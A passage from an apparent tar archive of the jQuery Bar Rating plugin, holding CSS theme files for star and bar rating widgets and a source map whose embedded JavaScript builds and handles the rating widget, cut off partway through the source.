.br-theme-css-stars .br-widget a.br-selected:after {
  color: #EDB867;
}
.br-theme-css-stars .br-widget .br-current-rating {
  display: none;
}
.br-theme-css-stars .br-readonly a {
  cursor: default;
}
@media print {
  .br-theme-css-stars .br-widget a:after {
    content: "\2606";
    color: black;
  }
  .br-theme-css-stars .br-widget a.br-active:after,
  .br-theme-css-stars .br-widget a.br-selected:after {
    content: "\2605";
    color: black;
  }
}
themes/bars-horizontal.css000064400000002443151677376640011712 0ustar00.br-theme-bars-horizontal .br-widget {
  width: 120px;
  white-space: nowrap;
}
.br-theme-bars-horizontal .br-widget a {
  display: block;
  width: 120px;
  height: 5px;
  background-color: #fbedd9;
  margin: 1px;
}
.br-theme-bars-horizontal .br-widget a.br-active,
.br-theme-bars-horizontal .br-widget a.br-selected {
  background-color: #EDB867;
}
.br-theme-bars-horizontal .br-widget .br-current-rating {
  width: 120px;
  font-size: 18px;
  font-weight: 600;
  line-height: 2;
  text-align: center;
  color: #EDB867;
}
.br-theme-bars-horizontal .br-readonly a {
  cursor: default;
}
.br-theme-bars-horizontal .br-readonly a.br-active,
.br-theme-bars-horizontal .br-readonly a.br-selected {
  background-color: #f2cd95;
}
.br-theme-bars-horizontal .br-readonly .br-current-rating {
  color: #f2cd95;
}
@media print {
  .br-theme-bars-horizontal .br-widget a {
    border: 1px solid #b3b3b3;
    background: white;
    -webkit-box-sizing: border-box;
    -moz-box-sizing: border-box;
    box-sizing: border-box;
  }
  .br-theme-bars-horizontal .br-widget a.br-active,
  .br-theme-bars-horizontal .br-widget a.br-selected {
    border: 1px solid black;
    background: white;
  }
  .br-theme-bars-horizontal .br-widget .br-current-rating {
    color: black;
  }
}
themes/bars-pill.css000064400000003276151677376640010466 0ustar00.br-theme-bars-pill .br-widget {
  white-space: nowrap;
}
.br-theme-bars-pill .br-widget a {
  padding: 7px 15px;
  background-color: #bef5e8;
  color: #50E3C2;
  text-decoration: none;
  font-size: 13px;
  line-height: 3;
  text-align: center;
  font-weight: 400;
}
.br-theme-bars-pill .br-widget a:first-child {
  -webkit-border-top-left-radius: 999px;
  -webkit-border-bottom-left-radius: 999px;
  -moz-border-radius-topleft: 999px;
  -moz-border-radius-bottomleft: 999px;
  border-top-left-radius: 999px;
  border-bottom-left-radius: 999px;
}
.br-theme-bars-pill .br-widget a:last-child {
  -webkit-border-top-right-radius: 999px;
  -webkit-border-bottom-right-radius: 999px;
  -moz-border-radius-topright: 999px;
  -moz-border-radius-bottomright: 999px;
  border-top-right-radius: 999px;
  border-bottom-right-radius: 999px;
}
.br-theme-bars-pill .br-widget a.br-active,
.br-theme-bars-pill .br-widget a.br-selected {
  background-color: #50E3C2;
  color: white;
}
.br-theme-bars-pill .br-readonly a {
  cursor: default;
}
.br-theme-bars-pill .br-readonly a.br-active,
.br-theme-bars-pill .br-readonly a.br-selected {
  background-color: #7cead1;
}
@media print {
  .br-theme-bars-pill .br-widget a {
    border: 1px solid #b3b3b3;
    border-left: none;
    background: white;
    -webkit-box-sizing: border-box;
    -moz-box-sizing: border-box;
    box-sizing: border-box;
  }
  .br-theme-bars-pill .br-widget a.br-active,
  .br-theme-bars-pill .br-widget a.br-selected {
    border: 1px solid black;
    border-left: none;
    background: white;
    color: black;
  }
  .br-theme-bars-pill .br-widget a:first-child {
    border-left: 1px solid black;
  }
}
themes/fontawesome-stars-o.css000064400000002741151677376640012512 0ustar00.br-theme-fontawesome-stars-o .br-widget {
  height: 28px;
  white-space: nowrap;
}
.br-theme-fontawesome-stars-o .br-widget a {
  font: normal normal normal 20px/1 FontAwesome;
  text-rendering: auto;
  -webkit-font-smoothing: antialiased;
  text-decoration: none;
  margin-right: 2px;
}
.br-theme-fontawesome-stars-o .br-widget a:after {
  content: '\f006';
  color: #d2d2d2;
}
.br-theme-fontawesome-stars-o .br-widget a.br-active:after {
  content: '\f005';
  color: #50E3C2;
}
.br-theme-fontawesome-stars-o .br-widget a.br-selected:after {
  content: '\f005';
  color: #50E3C2;
}
.br-theme-fontawesome-stars-o .br-widget a.br-fractional:after {
  content: '\f123';
  color: #50E3C2;
}
.br-theme-fontawesome-stars-o .br-widget .br-current-rating {
  display: none;
}
.br-theme-fontawesome-stars-o .br-readonly a {
  cursor: default;
}
.br-theme-fontawesome-stars-o .br-reverse a.br-fractional {
  display: inline-block;
  transform: scaleX(-1);
  -moz-transform: scaleX(-1);
  -webkit-transform: scaleX(-1);
  filter: FlipH;
  -ms-filter: "FlipH";
}
@media print {
  .br-theme-fontawesome-stars-o .br-widget a:after {
    content: '\f006';
    color: black;
  }
  .br-theme-fontawesome-stars-o .br-widget a.br-active:after,
  .br-theme-fontawesome-stars-o .br-widget a.br-selected:after {
    content: '\f005';
    color: black;
  }
  .br-theme-fontawesome-stars-o .br-widget a.br-fractional:after {
    content: '\f123';
    color: black;
  }
}
themes/bars-1to10.css000064400000002462151677376640010366 0ustar00.br-theme-bars-1to10 .br-widget {
  height: 50px;
  white-space: nowrap;
}
.br-theme-bars-1to10 .br-widget a {
  display: block;
  width: 12px;
  padding: 5px 0;
  height: 28px;
  float: left;
  background-color: #fbedd9;
  margin: 1px;
  text-align: center;
}
.br-theme-bars-1to10 .br-widget a.br-active,
.br-theme-bars-1to10 .br-widget a.br-selected {
  background-color: #EDB867;
}
.br-theme-bars-1to10 .br-widget .br-current-rating {
  font-size: 20px;
  line-height: 2;
  float: left;
  padding: 0 20px 0 20px;
  color: #EDB867;
  font-weight: 400;
}
.br-theme-bars-1to10 .br-readonly a {
  cursor: default;
}
.br-theme-bars-1to10 .br-readonly a.br-active,
.br-theme-bars-1to10 .br-readonly a.br-selected {
  background-color: #f2cd95;
}
.br-theme-bars-1to10 .br-readonly .br-current-rating {
  color: #f2cd95;
}
@media print {
  .br-theme-bars-1to10 .br-widget a {
    border: 1px solid #b3b3b3;
    background: white;
    height: 38px;
    -webkit-box-sizing: border-box;
    -moz-box-sizing: border-box;
    box-sizing: border-box;
  }
  .br-theme-bars-1to10 .br-widget a.br-active,
  .br-theme-bars-1to10 .br-widget a.br-selected {
    border: 1px solid black;
    background: white;
  }
  .br-theme-bars-1to10 .br-widget .br-current-rating {
    color: black;
  }
}
jquery.barrating.min.js.map000064400000066503151677376640011767 0ustar00{"version":3,"sources":["jquery.barrating.js"],"names":["factory","define","amd","module","exports","require","jQuery","$","BarRating","self","this","wrapElement","classes","options","theme","push","$elem","wrap","class","join","unwrapElement","unwrap","findOption","value","isNumeric","Math","floor","getInitialOption","initialRating","getEmptyOption","$emptyOpt","find","emptyValue","length","allowEmpty","prependTo","getData","key","data","setData","saveDataOnElement","$opt","val","text","emptyText","userOptions","ratingValue","ratingText","originalRatingValue","originalRatingText","emptyRatingValue","emptyRatingText","readOnly","readonly","ratingMade","removeDataOnElement","removeData","buildWidget","$w","each","html","$a","href","data-rating-value","data-rating-text","append","showSelectedRating","reverse","addClass","nextAllorPreviousAll","setSelectFieldValue","prop","change","resetSelectField","defaultSelected","parent","fraction","round","resetStyle","$widget","removeClass","index","match","applyStyle","$all","$fractional","baseValue","f","isDeselectable","$element","deselectable","attr","attachClickHandler","$elements","on","event","preventDefault","onSelect","call","attachMouseEnterHandler","attachMouseLeaveHandler","fastClicks","stopPropagation","click","disableClicks","attachHandlers","hoverState","detachHandlers","off","setupHandlers","show","insertAfter","hide","state","toggleClass","set","silent","clear","onClear","destroy","remove","onDestroy","prototype","init","elem","extend","fn","barrating","defaults","method","plugin","is","error","hasOwnProperty","next","showValues"],"mappings":"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","file":"jquery.barrating.min.js","sourcesContent":["/**\n * jQuery Bar Rating Plugin v1.2.2\n *\n * http://github.com/antennaio/jquery-bar-rating\n *\n * Copyright (c) 2012-2016 Kazik Pietruszewski\n *\n * This plugin is available under the MIT license.\n * http://www.opensource.org/licenses/mit-license.php\n */\n(function (factory) {\n    if (typeof define === 'function' && define.amd) {\n        // AMD\n        define(['jquery'], factory);\n    } else if (typeof module === 'object' && module.exports) {\n        // Node/CommonJS\n        module.exports = factory(require('jquery'));\n    } else {\n        // browser globals\n        factory(jQuery);\n    }\n}(function ($) {\n\n    var BarRating = (function() {\n\n        function BarRating() {\n            var self = this;\n\n            // wrap element in a wrapper div\n            var wrapElement = function() {\n                var classes = ['br-wrapper'];\n\n                if (self.options.theme !== '') {\n                    classes.push('br-theme-' + self.options.theme);\n                }\n\n                self.$elem.wrap($('<div />', {\n                    'class': classes.join(' ')\n                }));\n            };\n\n            // unwrap element\n            var unwrapElement = function() {\n                self.$elem.unwrap();\n            };\n\n            // find option by value\n            var findOption = function(value) {\n                if ($.isNumeric(value)) {\n                    value = Math.floor(value);\n                }\n\n                return $('option[value=\"' + value  + '\"]', self.$elem);\n            };\n\n            // get initial option\n            var getInitialOption = function() {\n                var initialRating = self.options.initialRating;\n\n                if (!initialRating) {\n                    return $('option:selected', self.$elem);\n                }\n\n                return findOption(initialRating);\n            };\n\n            // get empty option\n            var getEmptyOption = function() {\n                var $emptyOpt = self.$elem.find('option[value=\"' + self.options.emptyValue + '\"]');\n\n                if (!$emptyOpt.length && self.options.allowEmpty) {\n                    $emptyOpt = $('<option />', { 'value': self.options.emptyValue });\n\n                    return $emptyOpt.prependTo(self.$elem);\n                }\n\n                return $emptyOpt;\n            };\n\n            // get data\n            var getData = function(key) {\n                var data = self.$elem.data('barrating');\n\n                if (typeof key !== 'undefined') {\n                    return data[key];\n                }\n\n                return data;\n            };\n\n            // set data\n            var setData = function(key, value) {\n                if (value !== null && typeof value === 'object') {\n                    self.$elem.data('barrating', value);\n                } else {\n                    self.$elem.data('barrating')[key] = value;\n                }\n            };\n\n            // save data on element\n            var saveDataOnElement = function() {\n                var $opt = getInitialOption();\n                var $emptyOpt = getEmptyOption();\n\n                var value = $opt.val();\n                var text = $opt.data('html') ? $opt.data('html') : $opt.text();\n\n                // if the allowEmpty option is not set let's check if empty option exists in the select field\n                var allowEmpty = (self.options.allowEmpty !== null) ?\n                    self.options.allowEmpty :\n                    !!$emptyOpt.length;\n\n                var emptyValue = ($emptyOpt.length) ? $emptyOpt.val() : null;\n                var emptyText = ($emptyOpt.length) ? $emptyOpt.text() : null;\n\n                setData(null, {\n                    userOptions: self.options,\n\n                    // initial rating based on the OPTION value\n                    ratingValue: value,\n                    ratingText: text,\n\n                    // rating will be restored by calling clear method\n                    originalRatingValue: value,\n                    originalRatingText: text,\n\n                    // allow empty ratings?\n                    allowEmpty: allowEmpty,\n\n                    // rating value and text of the empty OPTION\n                    emptyRatingValue: emptyValue,\n                    emptyRatingText: emptyText,\n\n                    // read-only state\n                    readOnly: self.options.readonly,\n\n                    // did the user already select a rating?\n                    ratingMade: false\n                });\n            };\n\n            // remove data on element\n            var removeDataOnElement = function() {\n                self.$elem.removeData('barrating');\n            };\n\n            // return current rating text\n            var ratingText = function() {\n                return getData('ratingText');\n            };\n\n            // return current rating value\n            var ratingValue = function() {\n                return getData('ratingValue');\n            };\n\n            // build widget and return jQuery element\n            var buildWidget = function() {\n                var $w = $('<div />', { 'class': 'br-widget' });\n\n                // create A elements that will replace OPTIONs\n                self.$elem.find('option').each(function() {\n                    var val, text, html, $a;\n\n                    val = $(this).val();\n\n                    // create ratings - but only if val is not defined as empty\n                    if (val !== getData('emptyRatingValue')) {\n                        text = $(this).text();\n                        html = $(this).data('html');\n                        if (html) { text = html; }\n\n                        $a = $('<a />', {\n                            'href': '#',\n                            'data-rating-value': val,\n                            'data-rating-text': text,\n                            'html': (self.options.showValues) ? text : ''\n                        });\n\n                        $w.append($a);\n                    }\n\n                });\n\n                // append .br-current-rating div to the widget\n                if (self.options.showSelectedRating) {\n                    $w.append($('<div />', { 'text': '', 'class': 'br-current-rating' }));\n                }\n\n                // additional classes for the widget\n                if (self.options.reverse) {\n                    $w.addClass('br-reverse');\n                }\n\n                if (self.options.readonly) {\n                    $w.addClass('br-readonly');\n                }\n\n                return $w;\n            };\n\n            // return a jQuery function name depending on the 'reverse' setting\n            var nextAllorPreviousAll = function() {\n                if (getData('userOptions').reverse) {\n                    return 'nextAll';\n                } else {\n                    return 'prevAll';\n                }\n            };\n\n            // set the value of the select field\n            var setSelectFieldValue = function(value) {\n                // change selected option\n                findOption(value).prop('selected', true);\n\n                self.$elem.change();\n            };\n\n            // reset select field\n            var resetSelectField = function() {\n                $('option', self.$elem).prop('selected', function() {\n                    return this.defaultSelected;\n                });\n\n                self.$elem.change();\n            };\n\n            // display the currently selected rating\n            var showSelectedRating = function(text) {\n                // text undefined?\n                text = text ? text : ratingText();\n\n                // special case when the selected rating is defined as empty\n                if (text == getData('emptyRatingText')) {\n                    text = '';\n                }\n\n                // update .br-current-rating div\n                if (self.options.showSelectedRating) {\n                    self.$elem.parent().find('.br-current-rating').text(text);\n                }\n            };\n\n            // return rounded fraction of a value (14.4 -> 40, 0.99 -> 90)\n            var fraction = function(value) {\n                return Math.round(((Math.floor(value * 10) / 10) % 1) * 100);\n            };\n\n            // remove all classes from elements\n            var resetStyle = function() {\n                // remove all classes starting with br-*\n                self.$widget.find('a').removeClass(function(index, classes) {\n                    return (classes.match(/(^|\\s)br-\\S+/g) || []).join(' ');\n                });\n            };\n\n            // apply style by setting classes on elements\n            var applyStyle = function() {\n                var $a = self.$widget.find('a[data-rating-value=\"' + ratingValue() + '\"]');\n                var initialRating = getData('userOptions').initialRating;\n                var baseValue = $.isNumeric(ratingValue()) ? ratingValue() : 0;\n                var f = fraction(initialRating);\n                var $all, $fractional;\n\n                resetStyle();\n\n                // add classes\n                $a.addClass('br-selected br-current')[nextAllorPreviousAll()]()\n                    .addClass('br-selected');\n\n                if (!getData('ratingMade') && $.isNumeric(initialRating)) {\n                    if ((initialRating <= baseValue) || !f) {\n                        return;\n                    }\n\n                    $all = self.$widget.find('a');\n\n                    $fractional = ($a.length) ?\n                        $a[(getData('userOptions').reverse) ? 'prev' : 'next']() :\n                        $all[(getData('userOptions').reverse) ? 'last' : 'first']();\n\n                    $fractional.addClass('br-fractional');\n                    $fractional.addClass('br-fractional-' + f);\n                }\n            };\n\n            // check if the element is deselectable?\n            var isDeselectable = function($element) {\n                if (!getData('allowEmpty') || !getData('userOptions').deselectable) {\n                    return false;\n                }\n\n                return (ratingValue() == $element.attr('data-rating-value'));\n            };\n\n            // handle click events\n            var attachClickHandler = function($elements) {\n                $elements.on('click.barrating', function(event) {\n                    var $a = $(this),\n                        options = getData('userOptions'),\n                        value,\n                        text;\n\n                    event.preventDefault();\n\n                    value = $a.attr('data-rating-value');\n                    text = $a.attr('data-rating-text');\n\n                    // is current and deselectable?\n                    if (isDeselectable($a)) {\n                        value = getData('emptyRatingValue');\n                        text = getData('emptyRatingText');\n                    }\n\n                    // remember selected rating\n                    setData('ratingValue', value);\n                    setData('ratingText', text);\n                    setData('ratingMade', true);\n\n                    setSelectFieldValue(value);\n                    showSelectedRating(text);\n\n                    applyStyle();\n\n                    // onSelect callback\n                    options.onSelect.call(\n                        self,\n                        ratingValue(),\n                        ratingText(),\n                        event\n                    );\n\n                    return false;\n                });\n            };\n\n            // handle mouseenter events\n            var attachMouseEnterHandler = function($elements) {\n                $elements.on('mouseenter.barrating', function() {\n                    var $a = $(this);\n\n                    resetStyle();\n\n                    $a.addClass('br-active')[nextAllorPreviousAll()]()\n                        .addClass('br-active');\n\n                    showSelectedRating($a.attr('data-rating-text'));\n                });\n            };\n\n            // handle mouseleave events\n            var attachMouseLeaveHandler = function($elements) {\n                self.$widget.on('mouseleave.barrating blur.barrating', function() {\n                    showSelectedRating();\n                    applyStyle();\n                });\n            };\n\n            // somewhat primitive way to remove 300ms click delay on touch devices\n            // for a more advanced solution consider setting `fastClicks` option to false\n            // and using a library such as fastclick (https://github.com/ftlabs/fastclick)\n            var fastClicks = function($elements) {\n                $elements.on('touchstart.barrating', function(event) {\n                    event.preventDefault();\n                    event.stopPropagation();\n\n                    $(this).click();\n                });\n            };\n\n            // disable clicks\n            var disableClicks = function($elements) {\n                $elements.on('click.barrating', function(event) {\n                    event.preventDefault();\n                });\n            };\n\n            var attachHandlers = function($elements) {\n                // attach click event handler\n                attachClickHandler($elements);\n\n                if (self.options.hoverState) {\n                    // attach mouseenter event handler\n                    attachMouseEnterHandler($elements);\n\n                    // attach mouseleave event handler\n                    attachMouseLeaveHandler($elements);\n                }\n            };\n\n            var detachHandlers = function($elements) {\n                // remove event handlers in the \".barrating\" namespace\n                $elements.off('.barrating');\n            };\n\n            var setupHandlers = function(readonly) {\n                var $elements = self.$widget.find('a');\n\n                if (fastClicks) {\n                    fastClicks($elements);\n                }\n\n                if (readonly) {\n                    detachHandlers($elements);\n                    disableClicks($elements);\n                } else {\n                    attachHandlers($elements);\n                }\n            };\n\n            this.show = function() {\n                // run only once\n                if (getData()) return;\n\n                // wrap element\n                wrapElement();\n\n                // save data\n                saveDataOnElement();\n\n                // build & append widget to the DOM\n                self.$widget = buildWidget();\n                self.$widget.insertAfter(self.$elem);\n\n                applyStyle();\n\n                showSelectedRating();\n\n                setupHandlers(self.options.readonly);\n\n                // hide the select field\n                self.$elem.hide();\n            };\n\n            this.readonly = function(state) {\n                if (typeof state !== 'boolean' || getData('readOnly') == state) return;\n\n                setupHandlers(state);\n                setData('readOnly', state);\n                self.$widget.toggleClass('br-readonly');\n            };\n\n            this.set = function(value) {\n                var options = getData('userOptions');\n\n                if (self.$elem.find('option[value=\"' + value + '\"]').length === 0) return;\n\n                // set data\n                setData('ratingValue', value);\n                setData('ratingText', self.$elem.find('option[value=\"' + value + '\"]').text());\n                setData('ratingMade', true);\n\n                setSelectFieldValue(ratingValue());\n                showSelectedRating(ratingText());\n\n                applyStyle();\n\n                // onSelect callback\n                if (!options.silent) {\n                    options.onSelect.call(\n                        this,\n                        ratingValue(),\n                        ratingText()\n                    );\n                }\n            };\n\n            this.clear = function() {\n                var options = getData('userOptions');\n\n                // restore original data\n                setData('ratingValue', getData('originalRatingValue'));\n                setData('ratingText', getData('originalRatingText'));\n                setData('ratingMade', false);\n\n                resetSelectField();\n                showSelectedRating(ratingText());\n\n                applyStyle();\n\n                // onClear callback\n                options.onClear.call(\n                    this,\n                    ratingValue(),\n                    ratingText()\n                );\n            };\n\n            this.destroy = function() {\n                var value = ratingValue();\n                var text = ratingText();\n                var options = getData('userOptions');\n\n                // detach handlers\n                detachHandlers(self.$widget.find('a'));\n\n                // 